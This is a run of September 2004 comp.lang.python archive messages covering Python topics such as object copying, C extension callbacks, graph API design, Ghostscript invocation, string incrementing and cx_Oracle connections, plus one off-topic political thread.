> >> doesn't support multiline bodies :-/ > > > > Your choice is then to either upgrade to a better browser (IE has been > > stagnant in features for years, resting on its laurels) or to drive IE > > more intimately and "proprietarily" -- with win32com you can probably > > make it turn somersaults, although your hair will whiten considerably > > while you learn how to do so. > > Actually I use Firebird ;-) Nice database engine, but not much of a browser. Maybe you mean Firefox;-? > I'm studying this syntax in order to implement it in XPN, the newsreader > I'm writing. I'd like to use it when the article has a > > "Followup-To: poster". > > So I need a simple and multiplatform solution. > > However I found that I can use an encoded form of the newline (%0A) that > works with IE (I haven't tried yet with different browsers).I think I'll > use the urllib.quote function in order to obtain this coding. Sounds sensible, offhand. Alex From __peter__ at web.de Tue Sep 7 14:17:09 2004 From: __peter__ at web.de (Peter Otten) Date: Tue, 07 Sep 2004 20:17:09 +0200 Subject: Dr. Dobb's Python-URL! - weekly Python news and links (Aug 31) References: <ch2lao$om8$1@lairds.us> <ch6dlr$k6c$03$1@news.t-online.com> <cb7112-em9.ln1@lairds.us> Message-ID: <chktv5$cbb$05$1@news.t-online.com> Cameron Laird wrote: > In article <ch6dlr$k6c$03$1 at news.t-online.com>, > Peter Otten <__peter__ at web.de> wrote: >>For the record: I no longer collect the weekly Python-URL. >>Who done it? >> >>Peter >> > > Cameron Laird, the same person who committed the clerical error of > using your name instead. Did I make it sound that bad? Sorry. Good book, by the way. "Clerical errors" by Alan Isler, I mean... Peter From spam at nimblegen.com Thu Sep 9 09:10:30 2004 From: spam at nimblegen.com (Chuck Dillon) Date: Thu, 09 Sep 2004 08:10:30 -0500 Subject: Xah Lee's Unixism In-Reply-To: <10juvnrt88k4868@corp.supernews.com> References: <YLednXSn7obciqrcRVn-og@powergate.ca> <41376B82.C6A202FC@yahoo.com> <P5GdnU8q-8Sw66rcRVn-qg@powergate.ca> <0g0fj0dvbthf0cj224bdt6ikqsv2vs5jlb@4ax.com> <ur7pks59p.fsf@mail.comcast.net> <8K0_c.2928$lv3.518794@news4.srv.hcvlny.cv.net> <3vahj09m887i64osgm65bhhh6l9tl6j38a@4ax.com> <u8ybrrzqd.fsf@mail.comcast.net> <ruehj05n8i2afsgnk9frq9bp98n520jl55@4ax.com> <uzn47qezk.fsf@mail.comcast.net> <rbnhj01438rv46f2op40gsdkcvfh7u6sgo@4ax.com> <4139561C.F52D4E4@yahoo.com> <10srj09tdkvim71i677g7eh7b2nk1qkmfm@4ax.com> <413f03cc$0$6914$61fed72c@news.rcn.com> <413F43AC.9D2088AF@yahoo.com> <chntno$ku1$1@grandcanyon.binc.net> <10juvnrt88k4868@corp.supernews.com> Message-ID: <chpkm2$3h2$1@grandcanyon.binc.net> Jeff Shannon wrote: > Chuck Dillon wrote: > >>> abridgement of >>> civil liberties (as in the Patriot Act and the Gitmo gulag), >> >> >> >> [...] How many U.S. citizens have been victimized? > > > > That's the problem -- we have *no* way of finding out, because part of > the Patriot Act is a gag rule that prevents the public from knowing how > it's used. It *may* be a small number, and we'd all like to think that > it is, but we really don't know. > >> How many dead U.S. citizens does it take to justify that >> victimization? Both numbers are quire small. > > > > Here there's a lot of room to disagree -- it's a tragedy when U.S. > citizens are killed, but it's an even greater tragedy when the entirety > of the U.S. loses its freedoms in the name of "security". That's intrinsically what the political process is all about. One has to maintain confidence in the process. That requires that there be two strong adversarial voices on *all* matters. Be it going to war, the patriot act, abortion law or whatever. If we went into Iraq and didn't hear dissension or if they passed the patriot act and we didn't hear dissension then I would be worried. But the process is healthy. It's how we identify a point of agreement in the gray areas. > > "They that can give up essential liberty to obtain a little temporary > safety deserve neither liberty nor safety," as Benjamin Franklin said. > The Patriot Act takes away our liberty in the name of temporary safety. > We need better security than we had pre-9/11, certainly, but we can get > it with a much lower cost to our personal liberty than has come with the > Patriot Act. We *don't* need secret police investigations, secret > courts, and secret detentions for secret reasons. It's easy to say we *don't* need but not so easy to demonstrate. You don't even offer a hand wave attempt at articulating an alternative. In the political world everything is subject to debate. Taking the war to the middle east, increasing policing powers, increasing intelligence capabilities... But in the real world there is a huge threat and action must be taken. Granting of any power to police is a compromise of personal liberty. A cost/benefit analysis is needed to determine how much such power is justifiable. Given the known presence of individuals in country that are organized and willing to carry out crimes on massive scales most folks think that for the time being the patriot act is justified. -- ced -- Chuck Dillon Senior Software Engineer NimbleGen Systems Inc. From vze4rx4y at verizon.net Sun Sep 5 02:54:37 2004 From: vze4rx4y at verizon.net (Raymond Hettinger) Date: Sun, 05 Sep 2004 06:54:37 GMT Subject: list conversion question References: <mailman.2860.1094267481.5135.python-list@python.org> <3Ma_c.13188$Dl4.3729@fe2.texas.rr.com> <ivb_c.6952$w%6.2458@newsread1.news.pas.earthlink.net> <mailman.2871.1094320747.5135.python-list@python.org> <chd0k2$hom$02$1@news.t-online.com> <Uyp_c.351$ip2.228@newsread3.news.pas.earthlink.net> Message-ID: <NKy_c.894$Gi5.571@trndny05> [Peter Otten] > > Yet another option, not benchmarked, perhaps clearer: > > >>>>hist = [0, 1, 0, 5, 43] > >>>>indices = range(len(hist)) > >>>>indices.sort(key=hist.__getitem__) > >>>>indices > > > > [0, 2, 1, 3, 4] [Andrew Dalke] > Looks the fastest to me. Here's my results, with > the benchmark below. . . . These results are good. Consider posting them in the ASPN Cookbook so they won't get lost. Raymond Hettinger From ajsiegel at optonline.com Tue Sep 7 09:53:01 2004 From: ajsiegel at optonline.com (Arthur) Date: 7 Sep 2004 06:53:01 -0700 Subject: Method returning new instance of class? References: <4Jh_c.4378$Wv5.950@newsread3.news.atl.earthlink.net> <4139a87a$0$30204$9b622d9e@news.freenet.de> <2ok_c.5453$Vl5.4469@newsread2.news.atl.earthlink.net> <4139E730.4060203@v.loewis.de> Message-ID: <213df9a1.0409070553.662fc885@posting.google.com> "Martin v. L?wis" <martin at v.loewis.de> wrote in message news:<4139E730.4060203 at v.loewis.de>... > Arthur wrote: > > The app is graphical, and I use a Python extensions in C++ using the Boost > > library (vpython, new version). My class instance has an attribute which is > > a vpython object. Copy.copy doesn't get me where I need to be because my new > > instance gets a reference to the same vpython object, and changes to it are > > reflected in the original instance. > [...] > > > > But do you see any reason why this might be? > > Certainly. copy.copy expects that each object follows a certain protocol > for copying. Copying of certain types (including all classic classes) > is build into copy.py. For newstyle classes and all other types, copying > procedures must be registered with copy_reg. If a type is not registered > with copy_reg, as a last fall back, the __reduce_ex__ and __reduce__ > functions are invoked for the type. If not specifically overridden, they > always return the original object. Back at a high bandwidth connection I decided to try to do some research to try to reasonably follow what you are telling - despite the fact that the immediate problem I had been trying to solve seems to be solved. By using deepcopy(), than overwriting the offending attributes with fresh instantations. But both Martin and JP bring copy_reg into the equation in solving copy issues "by the book". But the book at: 3.18 copy -- Shallow and deep copy operations (from the 2.3 docs) says, on one hand: """Classes can use the same interfaces to control copying that they use to control pickling""" and on the other: """The copy module does not use the copy_reg registration module.""" This is actually pretty esoteric stuff for someone who has not delved into these mysteries before, so I am a bit lost. Is it that copy_reg comes into play in defining a custom method for copying, that is called as a regular method, and not via the copy module? Does anyone have a reference for copy_reg used in the specific context of copying, rather than pickling? Art From aleaxit at yahoo.com Thu Sep 16 07:52:34 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Thu, 16 Sep 2004 13:52:34 +0200 Subject: PyCFunction_New() ? References: <ciblr1$lpj1@imsp212.netvigator.com> Message-ID: <1gk7ji3.1a18dy395nrmjN%aleaxit@yahoo.com> Scott Deerwester <scott at deerwester.org> wrote: > Is it possible to create a Python-callable object, dynamically, in C/C++? I Sure! But I'm not clear on why you want to create it dynamically. The C++ code is there all the time, isn't it? So why not the wrapping of it into Python-callable terms...? > Even better would be: > > PyCFunction *MyClass::pyCallback(PyObject *ob, PyObject *args) { ... } > > MyClass::MyClass() > { > ... > PyObject_CallMethod(somePythonObject, "setCallback", this->pyCallback); > ... > } Here pyCallback _returns_ a pointer to a PyCFunction, yet you want to SET it as the callback...? I'm confused! Also, PyObject_CallMethod needs a format string as its 3rd arg, before the args 'proper' -- do you intend to omit it? Why? Again, I'm confused. > > Any help greatly appreciated! You can call PyCFunction_New, passing it a first argument that's a PyMethodDef struct pointer, and a 2nd argument that's a PyObject* (whatever you want the C function to receive as the first argument, self). PyMethodDef is, of course: struct PyMethodDef { char *ml_name; PyCFunction ml_meth; int ml_flags; char *ml_doc; }; typedef struct PyMethodDef PyMethodDef; What problems is this giving you...? Alex From unseulmcmcmcmc at msupprimerlepoint.claveauPOINTcom Thu Sep 16 15:50:32 2004 From: unseulmcmcmcmc at msupprimerlepoint.claveauPOINTcom (=?iso-8859-1?Q?Michel_Claveau_-_abstraction_m=E9ta-galactique_non_trivial?= =?iso-8859-1?Q?e_en_fuite_perp=E9tuelle.?=) Date: Thu, 16 Sep 2004 21:50:32 +0200 Subject: Comparioson of purpose for PyGUI and AnyGUI ??? References: <a5415304.0409160644.41adea51@posting.google.com> Message-ID: <cicqq7$kra$2@news-reader4.wanadoo.fr> And wax ? From maney at pobox.com Sun Sep 5 12:53:02 2004 From: maney at pobox.com (Martin Maney) Date: Sun, 5 Sep 2004 16:53:02 +0000 (UTC) Subject: Inline Conditionals? References: <mailman.2307.1093385983.5135.python-list@python.org> <jt6dnb18R-cz6LDcRVn-jQ@powergate.ca> <1gj4rpq.1oyt89b14xvbdqN%aleaxit@yahoo.com> <slrncirqvf.jf.apardon@trout.vub.ac.be> <1gj5bit.rt2tmzcznspxN%aleaxit@yahoo.com> <7xbrgxobts.fsf@ruckus.brouhaha.com> <1gj5eu6.11pmwsddky84nN%aleaxit@yahoo.com> Message-ID: <chfg9e$121$4@wheel2.two14.net> Alex Martelli <aleaxit at yahoo.com> wrote: > Paul Rubin <http://phr.cx at NOSPAM.invalid> wrote: >> more readable and harder to get wrong, unlike your sparse example, >> which has 'foo' on both branches of the conditional where you meant >> 'foo' and 'bar'. > ....as several people already noticed, proving the great readability of > the sparse way of expressing oneself... Amazing. If a typo slips into something you dislike then you cite that as proof of how bad it is. When it happens to you while showing off your preferred form, it becomes, by prestidigitation, proof of how good that is. Clearly this is determined by nothing at all like logic. -- Their arguments, being based not in reason, are immune to it. From lkirsh at cs.ubc.ca Thu Sep 2 00:00:45 2004 From: lkirsh at cs.ubc.ca (Lowell Kirsh) Date: Wed, 01 Sep 2004 21:00:45 -0700 Subject: why is this so slow? Message-ID: <ch65tg$jk6$1@mughi.cs.ubc.ca> I created the following class (I know it's a dirty hack) so I could do foo.bar instead of using a dictionary and having to type foo['bar'] : class DefaultAttr(object): def __getattribute__(self, attr): if not hasattr(self, attr): return '' return object.__getattribute__(self,attr) but its use is totally slowing down my program. Why is it so slow and is there a better way? Lowell From thinmanj at gmail.com Sat Sep 4 18:37:16 2004 From: thinmanj at gmail.com (=?ISO-8859-1?Q?Julio_O=F1a?=) Date: Sat, 4 Sep 2004 18:37:16 -0400 Subject: Dbase Connection In-Reply-To: <blr_c.16252$Xi.15559@fe1.texas.rr.com> References: <3Jp_c.15967$Xi.2705@fe1.texas.rr.com> <20040904174801.07582.00000186@mb-m11.aol.com> <blr_c.16252$Xi.15559@fe1.texas.rr.com> Message-ID: <318a5f1a040904153742652f4d@mail.gmail.com> On Sat, 04 Sep 2004 22:29:27 GMT, Stan Cook <scook at elp.rr.com> wrote: > I want to open it with Python. If that's possible. Stan, There are some information out there, maybe one of these links could help you. Regards. http://py.vaults.ca/apyllo2.py/96891420 http://cwashington.netreach.net/depo/view.asp?Index=102&ScriptType=python http://www.garshol.priv.no/download/software/python/ -- Julio From anna at aleax.it Thu Sep 30 17:11:31 2004 From: anna at aleax.it (Anna Martelli Ravenscroft) Date: Thu, 30 Sep 2004 21:11:31 GMT Subject: python vs c# In-Reply-To: <37tjl09an200u6tejkrtklc8ib86uk7rm1@4ax.com> References: <mailman.3520.1095631846.5135.python-list@python.org> <EPmdnagKPrUPhtPcRVn-iQ@giganews.com> <mailman.3529.1095642828.5135.python-list@python.org> <1gkgxts.1fq0rwq10mycqiN%aleaxit@yahoo.com> <41513aac$0$285$edfadb0f@dread12.news.tele.dk> <1gkih9r.pfgqukvpt1rcN%aleaxit@yahoo.com> <37tjl09an200u6tejkrtklc8ib86uk7rm1@4ax.com> Message-ID: <7E_6d.33917$35.1643590@news4.tin.it> Christos TZOTZIOY Georgiou wrote: > On Wed, 22 Sep 2004 11:18:35 +0200, rumours say that aleaxit at yahoo.com > (Alex Martelli) might have written: > > >>>Well, not to feed the troll, but there is a few relevant points in it's >>>posting. >> >>(Please, please, please: "its", not "it's"... pretty please...) > > > (Late reply that maybe can make one smile) > > Alex, you are 99% correct. Leave a 1% chance that Max referred to > "julio" as "it"... :) Trolls are genderless! Sorry, Christos. Alex was correct: "its" is the appropriate usage here. "it's" is a contraction of "it is", and NOT the possessive form of it. Furthermore, Alex was quite kind in *not* correcting the mismatch between the singular form of the verb "is" and the plural noun "points". I, otoh, am not so generous. The sentence *should* have read: "Well, not to feed the troll, but there are a few relevant points in its posting." Anna (pedants-r-us) Martelli From ajsiegel at optonline.com Sat Sep 4 10:34:38 2004 From: ajsiegel at optonline.com (Arthur) Date: Sat, 04 Sep 2004 14:34:38 GMT Subject: Method returning new instance of class? References: <4Jh_c.4378$Wv5.950@newsread3.news.atl.earthlink.net> <4139a87a$0$30204$9b622d9e@news.freenet.de> Message-ID: <2ok_c.5453$Vl5.4469@newsread2.news.atl.earthlink.net> "Martin v. L?wis" <martin at v.loewis.de> wrote in message news:4139a87a$0$30204$9b622d9e at news.freenet.de... > Arthur wrote: > > Essentially I am trying to create a non-destructive tranformation of an > > instance of a class - is one way of putting it. > > > > The way I am currently conceptualizing a solution, what I need is a method > > of the class that returns a new instance of the class. > > So you want a copy of the object. I'd use copy.copy for this, perhaps > copy.deepcopy. That was my first instinct. And perhaps my problem is in here somewhere. The app is graphical, and I use a Python extensions in C++ using the Boost library (vpython, new version). My class instance has an attribute which is a vpython object. Copy.copy doesn't get me where I need to be because my new instance gets a reference to the same vpython object, and changes to it are reflected in the original instance. Copy.deepcopy doesn't work for more obscure reasons. I get an error message generating up from vpython when I try to change an attribute of the object on the new instance - though I am interacting with it in the same manner that works fine when performed on the original instance. But do you see any reason why this might be? If it sounds totally illogical, I'll go back and check myself - because of course the actual sitruation is a bit more complicated than what I am describing, and I guess it is possible I am falling off the ledge somewhere else. Art > > Regards, > Martin From crypt_keeper at rome.com Wed Sep 8 14:15:00 2004 From: crypt_keeper at rome.com (Crypt Keeper) Date: 8 Sep 2004 11:15:00 -0700 Subject: writing a class References: <29179565.0409071136.4147591f@posting.google.com> <oKKdnUmLvus3j6PcRVn-gQ@comcast.com> Message-ID: <29179565.0409081015.5c7a8e9d@posting.google.com> It's a simple bank-type transaction program. User needs to input initial starting balance, amount of deposits, amount of withdrawals. Program needs to do the appropriate math and return status update showing new balance, total deposits and total withdrawals. I keep coming up with 2 different results...1 returns an error message and the other finishes the program but the mathmematics is wrong (it does not compute deposits and withdrawlas. It only returns intial balance as new balance.) Code for error message return is: (formal code) from Account import Account from datetime import date a = Account() now = date.today() print "As of",now,"balance is $",a.getbalance() (class code) class Account: def __init__(self, initial): self.balance = initial def deposit(self, amt): self.balance = balance + amt def withdraw(new, amt): self.balance = balance - amt def getbalance(self): return self.balance Error message that gets returned is: Traceback (most recent call last): File "C:\Python23\Module1a.py", line 4, in -toplevel- a = Account() TypeError: __init__() takes exactly 2 arguments (1 given) The code that returns new balance only is: (class code) class Account: def __init__(self, balance): self.balance = balance def deposit(self, deposit): self.balance = self.balance + deposit def withdraw(self, withdraw): self.balance = self.balance - withdraw def getbalance(self, balance): self.balance = bal + deposit - withdraw return self.balance (formal code) from account1a import Account from datetime import date now = date.today() a = Account() bal = input("Enter amount of starting balance: $") dpst = input("Enter amount of deposit: $") wdrw = input("Enter amount of withdrawal: $") print "As of",now,"balance is $",a.getbalance() Appreciate all the assistance I might get. "Larry Bates" <lbates at swamisoft.com> wrote in message news:<oKKdnUmLvus3j6PcRVn-gQ at comcast.com>... > You really should post what you have tried and > any traceback error messages of things that didn't > work. A little background explanation of what you > are trying to do would also be nice. It's impossible > for us to venture a guess as to what you might be > doing wrong or to suggest a methodology without this > information. > > Regards, > Larry Bates > Syscon, Inc. > > "Crypt Keeper" <crypt_keeper at rome.com> wrote in message > news:29179565.0409071136.4147591f at posting.google.com... > > I am trying to write a program that asks user for several input items, > > then takes those items into a class that will manipulate the data and > > then return a line of output. I am able to input the reuired > > information, but it's the in-class processing and output line that > > keeps messing up somehow. I have tried tinkering and tweaking but with > > no success. > > > > How can I take data from the user, manipulate it through a class of > > steps and then output it all into a line of output? > > > > Thanks!! From pf_moore at yahoo.co.uk Sat Sep 11 06:09:27 2004 From: pf_moore at yahoo.co.uk (Paul Moore) Date: Sat, 11 Sep 2004 11:09:27 +0100 Subject: Standard graph API? References: <slrncik8tm.4g.mlh@furu.idi.ntnu.no> <YssWc.503921$Gx4.282534@bgtnsc04-news.ops.worldnet.att.net> <slrnciklv0.e8q.mlh@furu.idi.ntnu.no> <eppstein-4A56C8.14042623082004@news.service.uci.edu> <vCqZc.4817$w%6.3101@newsread1.news.pas.earthlink.net> <slrnck1krp.181.mlh@furu.idi.ntnu.no> <Sj50d.11652$w%6.5785@newsread1.news.pas.earthlink.net> Message-ID: <ufz5p5d7s.fsf@yahoo.co.uk> Andrew Dalke <adalke at mindspring.com> writes: > Magnus Lie Hetland wrote: >> Hm. How would the algorithms work without a standard API? > > There are certain things the different graphs have in > common. For example, > 1. "test if two nodes/edges are the same" > 2. "test if two nodes/edges are identically colored" > 3. "list of all nodes adjacent to a node" > 4. "list of all edges from a node" (either directed or > undirected) > 5. "get the appropriate weight" > > Different graphs have different ways to do this. [...] > The ways to get the properties differ but the things > you do with them do not change. > > I can concieve then some way to generate code > based on a template, like this > > dfs = make_code(dfs_template, > args = "node, handler", > bond_neighbors = "node.xatoms", > on_enter = "handler.enter(node)") > > .. make the graph ... > class Handler: > def enter(self, node): > print "Hi", node > > dfs(graph, Handler()) Yuk. This is *exactly* the type of thing that adaptation (PEP 246, PyProtocols) is designed to support: # pseudo-code here, I don't know the exact PEP 246 code form off # the top of my head. class IGraph(Protocol): def nodes_same(n1, n2): "No implementation here - this is just a protocol" # etc class IDFSVisitor(Protocol): # mode protocol defns... def dfs(g, h): g = adapt(g, IGraph) h = adapt(h, IDFSVisitor) # code, using standard method names Now, for your molecular graphs, you just write an adapter to make the graph conform to the IGraph protocol. In theory, the adaptation should be maximally efficient (so that you don't have to worry about overheads of unnecessary wrappers), in practice I don't know how close PyProtocols comes (although I believe it's good). >> To clarify, by API I here mean a protocol, i.e. a definition of how a >> graph is supposed to behave -- *not* a standard implementation. > > I think we're talking about the same thing -- the sorts > of things you can do with nodes and edges, and not a > statement that a node or edge has a given property or method. > >> I've been thinking a bit about the use of object adaptation here; I >> think it would be quite perfect. One possibility would be to use the >> functionality of PyProtocols, but that's hardly standard... But it >> would allow you to do stuff like >> graph = AdjacencyMap(someStrangeMolecularGraph) >> # or graph = adapt(someStrange..., AdjacencyMap) >> graphAlgorithm(graph) Yes, this (to me) would be ideal. The issue of not being standard is a bit circular - it's not standard because there aren't enough examples of where it is needed, but people don't use it because it's not standard. I believe Guido also has some concerns over how interfaces "should" work - but he's unlikely to do anything about that unless someone forces the issue by championing PEP 246. It might be worth asking Philip Eby if he would be happy to see PyProtocols added to the standard library. > The problem is all the conversion from/to my graph > form to the standard graph form. Either the adapters > have to be live (so the modification to the standard > form get propogated back to my graph) or there needs > to be conversions between the two. Both sound slow. My understanding is that a well-written adapter can be very efficient. But I don't know in practice how that is achieved. And obviously, a particular operation will never be efficient if the underlying representation can't support it efficiently. >> Wouldn't it be *much* better to use the established (but not standard) >> mechanism of object adaptation, as championed in PEP 246 and as >> implemented and extended upon in PyProtocols? > > Not really. Consider the events that could occur in a > DFS. There's > - on enter > - on exit > - on backtrack > and probably a few more that could be used in a general > purpose DFS. But I might need only one of them. With > a PE 246 adapter I can adapt my graph to fit the algorithm, > but if I don't need all of those events there's no way > to adapt the algorithm to fit my needs. You could adapt a visitor class to fit a standard DFS-visitor protocol. > (Yes, even though I'm using Python I'm still worried > about efficiency.) I worry about efficiency, as well. But my experiments showed call overhead as the killer - adding an "on backtrack" callback to the algorithm, and calling it with a visitor which had a null implementation of the callback still added a chunk of overhead. Caling a "do-nothing" callback for each node in a 10,000 node graph isn't free. Of course, this argues for the template "build code on the fly" approach, which I don't relish. Anyone know another good way of avoiding this overhead? >> (If only adapt() could become a standard library function... <sigh> ;) > > Perhaps someday, when people get more experience with it. > I've not yet used it. It needs a champion. Someone to do the work to get it into the library. We have a PEP, and an implementation (PyProtocols) so I suspect that it's a job that wouldn't require huge technical skills. > I found that 'is' testing for my graphs is much better. > At the very least, it's a lot faster (no method call overhead). You're never going to avoid a method call in any standard - there's going to be *someone* for whom "is" is inappropriate. So the standard will have to cater for that. Paul. -- Home computers are being called upon to perform many new functions, including the consumption of homework formerly eaten by the dog -- Doug Larson From cjankowski at hbr-inc.com Wed Sep 15 14:01:52 2004 From: cjankowski at hbr-inc.com (Chris Jankowski) Date: 15 Sep 2004 11:01:52 -0700 Subject: ghostscript References: <a1301a8e.0409071007.14ea6f5e@posting.google.com> Message-ID: <a1301a8e.0409151001.76d30fe3@posting.google.com> cjankowski at hbr-inc.com (Chris Jankowski) wrote in message news:<a1301a8e.0409071007.14ea6f5e at posting.google.com>... > Hi all, > I am still fairly new to the Python community and world of Python > programming. > > I am having some trouble changing the output directory when I call > Ghostscript. > Any sugguestions would be greatly appreciated. It seems to work fine, > if I put the file in a directory that I am calling it from, like > outputdir = './temp' or I use the "C" drive w/ outputdir = ''. All I > am doing is converting a .pdf to a .tif. > > device = 'jpeg' > print pdffile > pdffile = 'c:/Chris_J_Stuff/chris.pdf' > outputdir = "c:\\Chris_J_Stuff\\" > print pdffile > print outputdir > suffix = 'tif' > os.system(ghost_dir + ' -dNOPAUSE -dQUIET -sBATCH -sDEVICE=%s > -sOUTPUTFILE=% s/page%%d.%s %s' % (device, outputdir,suffix, > pdffile)) > > > Thank you in advance. > > Chris J. There is a limit on the length of the command line to pass to Ghostscript. I have not figured out how to get around this yet. CJ From maney at pobox.com Sun Sep 5 11:29:31 2004 From: maney at pobox.com (Martin Maney) Date: Sun, 5 Sep 2004 15:29:31 +0000 (UTC) Subject: age of Python programmers References: <mailman.1859.1092833285.5135.python-list@python.org> <6amZc.17353$ni.8118@okepread01> <822221bb04090109167035d328@mail.gmail.com> <mailman.2753.1094102613.5135.python-list@python.org> <ch7udg$nln$1@panix3.panix.com> Message-ID: <chfbcr$121$2@wheel2.two14.net> Aahz <aahz at pythoncraft.com> wrote: > In article <mailman.2753.1094102613.5135.python-list at python.org>, > Andrew Durdin <adurdin at gmail.com> wrote: >> >>There seem to be a lot of Pythoneers who started with BASIC -- I guess >>that's what came with most "home computers" in those days. I started >>at 8 with BASIC on an Amstrad CPC6128 (though I played games more than >>I wrote programs :). > Except that I started with BASIC on an HP1000. Let's see. Sometime before high school I happened across a book in the library that caught my attention: it was about programming for business apps, I think, because the paper machine they described worked in decimal. There may have been a simulator extant, but it would have required a mainframe, so I was attracted by nothing more than the game of figuring out how to make things happen in this imaginary assembler code. Of course I wasn't ever able to test any of my designs, which is probably why I lost interest. The first program I wrote and actually ran was written in IITRAN, a reasonably high-level (by contemporary standards), interpreted langauge, then key punched, catenated with a few job control cards, and popped into the reader of the 1108 at IIT's computer center. I learned to hate batch turnaround delays - luckily I wouldn't have to put up with them ever again, as I went without computer access for some years after that. By the time a few of us were sharing the construction and use of Eric's IMSAI box, it was floppies that caused much of the annoying delays. I did finally use a BASIC dialect there, but I can't recall its name. It was quite nice as BASICs go, having line numbers only if you wanted them and pretty good control structures so that you didn't need to build everything out of gotos (and line numbers, I guess). Then BDS's subset C compiler came out... Didn't mean to go on at such length - lazy Sunday morning effect, I guess. Anyway, the amusing observation I wanted to make before I digressed was just that I had probably read Dijkstra's opinion (Basic causes brain damage) before I ever had much to do with a version of the language. (or perhaps I misremember - that seems to come from EWD498, which I have only, that I can find, in a collection of Dijkstra's work published in 1982. In "How do we tell truths that might hurt?" he says "Is is practically imposible to teach good programming to students that have a prior exposure to BASIC; as potential programmers they are mutilated beyond hope of regeneration." Yep, lazy Sunday morning...) -- automation: replacing what works with something that almost works, but which is faster and cheaper. - attributed to Roger Needham From indigo at bitglue.com Wed Sep 15 22:55:16 2004 From: indigo at bitglue.com (Phil Frost) Date: Wed, 15 Sep 2004 22:55:16 -0400 Subject: Incrementing a string In-Reply-To: <pan.2004.09.15.22.08.19.894702@cox.net> References: <pan.2004.09.15.22.08.19.894702@cox.net> Message-ID: <20040916025516.GA11457@unununium.org> #### begin sample program #### import string class LabelCounter(object): digits = string.lowercase def __init__(self, value=0): self.value = value def __str__(self): letters = [] i = self.value while i: d, m = divmod(i, len(self.digits)) letters.append(self.digits[m]) i = d return ''.join(letters[::-1]) or self.digits[0] def __add__(self, other): return LabelCounter(self.value + other) def __lt__(self, other): return self.value < other # define other operators as needed; it's a shame this can't inherit from # int and get these for free. It can't do this because all of int's # operators return ints, not LabelCounters. i = LabelCounter(0) while i < 50: print i i += 1 #### end sample program #### You can set 'digits' to any sequence at all. Set it to '01' to get output in binary, or to ['01','23','45','67','89'] to get base 5 in a very confusing notation *g* On Wed, Sep 15, 2004 at 03:08:20PM -0700, John Velman wrote: > I've used perl for a lot of 'throw away' scripts; I like Python better in > principle, from reading about it, but it was always easier to just use > perl rather than learn python. > > Now I'm writing a smallish program that I expect to keep around, so am > taking this opportunity to try to learn some Python. I have a need for > computer generated set of simple string lables. I don't know how many in > advance---each is produced as a result of a user action. > > In perl I simply initiated > > $label= "a"; > > Then, after using it doing > > $label++; > > This conveniently steps through the alphabet, then goes on to aa, ab,ac, > ... > > In Python I can get from a to z with a generator as so: > > >>> def gen_alph(): > ... for i in range(97,123): > ... yield chr(i) > ... > >>> g = gen_alph() > >>> g.next() > 'a' > >>> g.next() > 'b' > >>> g.next() > 'c' > > But it looks like going beyond z to aa and so on is (relatively) complicated. > > In truth, it seems unlikely that I would ever go beyond z in using my > application, and certainly not beyond zz which wouldn't be too hard to > program. But I hate to build in limitations no matter how reasonable. > > It seems like there should be a better way that I'm missing because I'm > thinking in perl, not thinking in Python. :-) > > Best, > > John Velman > -- > http://mail.python.org/mailman/listinfo/python-list From martin at v.loewis.de Tue Sep 21 01:56:09 2004 From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=) Date: Tue, 21 Sep 2004 07:56:09 +0200 Subject: build 64bit python on Solaris In-Reply-To: <cinvi4$ndj$1@news1nwk.SFbay.Sun.COM> References: <cinvi4$ndj$1@news1nwk.SFbay.Sun.COM> Message-ID: <414fc272$0$19020$9b622d9e@news.freenet.de> Jhy-Chun Wang wrote: > Any idea what went wrong? what configuration/compiler options should I > use to build a 64bit python on Solaris? As a starting point, try using a 32-bit Python. There is no advantage in using a 64-bit Python I can see. If you must have a 64-bit Python, try turning off the optimization in your compiler, and make sure you have the latest compiler patches applied. Regards, Martin From fluxent at yahoo.com Thu Sep 16 09:47:50 2004 From: fluxent at yahoo.com (Bill Seitz) Date: 16 Sep 2004 06:47:50 -0700 Subject: newbie sending hex values over UDP socket References: <e2491a75.0409091744.53fab172@posting.google.com> <chr22o$7ra$1@news.service.uci.edu> <e2491a75.0409141127.6bb5cf0a@posting.google.com> <qOGdnf1RP5VfyNrcRVn-oA@powergate.ca> <e2491a75.0409151352.129bdc6b@posting.google.com> <U7ydnYPTdJKtW9XcRVn-hQ@powergate.ca> Message-ID: <e2491a75.0409160547.11d26d38@posting.google.com> Peter Hansen <peter at engcorp.com> wrote in message news:<U7ydnYPTdJKtW9XcRVn-hQ at powergate.ca>... > Bill Seitz wrote: > > > Current stump in this area: taking current time (time.time()) and > > delivering as 4-byte blob. > > > >>>>t= int(time.time()) > >>>>format = 'l' > >>>>struct.pack(format,t) > > > > '\x10\xb7HA' > > What's wrong with this one? Note that it is a 4-byte > blob, as requested. You can always check that with > len(s). In this case, len('\x10\xb7HA') == 4. > > -Peter Weird, I guess I'm not used to reading that format - it sure looks like 3 bytes to me. I guess I need to read up some more to get a better grasp... and until then use len() instead of my eyes! :) From pf_moore at yahoo.co.uk Thu Sep 30 17:18:09 2004 From: pf_moore at yahoo.co.uk (Paul Moore) Date: Thu, 30 Sep 2004 22:18:09 +0100 Subject: Oracle Access via cx_Oracle References: <mailman.4031.1096406259.5135.python-list@python.org> Message-ID: <ufz4zv4ku.fsf@yahoo.co.uk> "Greg Lindstrom" <greg.lindstrom at novasyshealth.com> writes: >>Shouldn't this be '/u01/app/oracle/product/9.2.0' ? Based on the following > values, that's what I'd expect. > I changed the ORCALE_HOME environment variable to the above suggested value > and got a new error!! That's progress, right? I'm now told: > cx_Oracle.DatabaseError: ORA-12154: TNS:could not resolve service name > /usr/bin/sh: cx_Oracle.DatabaseError:: not found > Is this any help? It is, insofar as this means that Oracle is doing the right thing, but can't find the database. So let's check how we are telling Oracle where the database is... First, when you connect using SQL*Plus, you connect something like this: sqlplus user/password at database Here, "database" is what Oracle refers to as a "connect string", which translates to IP/port/SID using the Oracle TNSNAMES.ORA file. > myIP = "ww.xx.yy.zzz" > myPort = nnnn > myDsn = cx_Oracle.makedsn(myIP, myPort, 'test1') This, on the other hand, constructs a connection descriptor (what a connect string translates to) by hand. Something like (DESCRIPTION = (ADDRESS_LIST = (ADDRESS = (PROTOCOL = TCP)(HOST = ww.xx.yy.xxx)(PORT = nnnn)) ) (CONNECT_DATA = (SID = test1)) ) > oracle = cx_Oracle.connect(myUid, myPwd, myDsn) Instead of this, could you try oracle = cx_Oracle.connect(myUid, myPwd, 'database') where 'database' here is the bit of the SQL*Plus command abover after the '@' sign? That should make cx_Oracle connect using *exactly* the same 